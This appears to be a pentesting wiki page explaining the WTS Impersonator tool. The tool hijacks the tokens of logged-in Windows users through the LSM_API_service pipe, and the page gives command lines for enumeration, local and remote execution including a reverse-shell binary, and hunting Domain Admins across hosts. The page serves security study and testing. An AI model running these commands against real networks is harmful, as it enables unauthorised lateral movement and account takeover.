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56 lines
2.2 KiB
Markdown
56 lines
2.2 KiB
Markdown
# WTS Impersonator
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{{#include ../../banners/hacktricks-training.md}}
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The **WTS Impersonator** tool exploits the **"\\pipe\LSM_API_service"** RPC Named pipe to stealthily enumerate logged-in users and hijack their tokens, bypassing traditional Token Impersonation techniques. This approach facilitates seamless lateral movements within networks. The innovation behind this technique is credited to **Omri Baso, whose work is accessible on [GitHub](https://github.com/OmriBaso/WTSImpersonator)**.
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### Core Functionality
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The tool operates through a sequence of API calls:
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```bash
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WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW
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```
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### Key Modules and Usage
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- **Enumerating Users**: Local and remote user enumeration is possible with the tool, using commands for either scenario:
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- Locally:
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```bash
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.\WTSImpersonator.exe -m enum
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```
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- Remotely, by specifying an IP address or hostname:
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```bash
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.\WTSImpersonator.exe -m enum -s 192.168.40.131
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```
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- **Executing Commands**: The `exec` and `exec-remote` modules require a **Service** context to function. Local execution simply needs the WTSImpersonator executable and a command:
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- Example for local command execution:
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```bash
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.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
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```
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- PsExec64.exe can be used to gain a service context:
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```bash
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.\PsExec64.exe -accepteula -s cmd.exe
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```
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- **Remote Command Execution**: Involves creating and installing a service remotely similar to PsExec.exe, allowing execution with appropriate permissions.
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- Example of remote execution:
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```bash
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.\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
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```
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- **User Hunting Module**: Targets specific users across multiple machines, executing code under their credentials. This is especially useful for targeting Domain Admins with local admin rights on several systems.
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- Usage example:
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```bash
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.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
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```
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{{#include ../../banners/hacktricks-training.md}}
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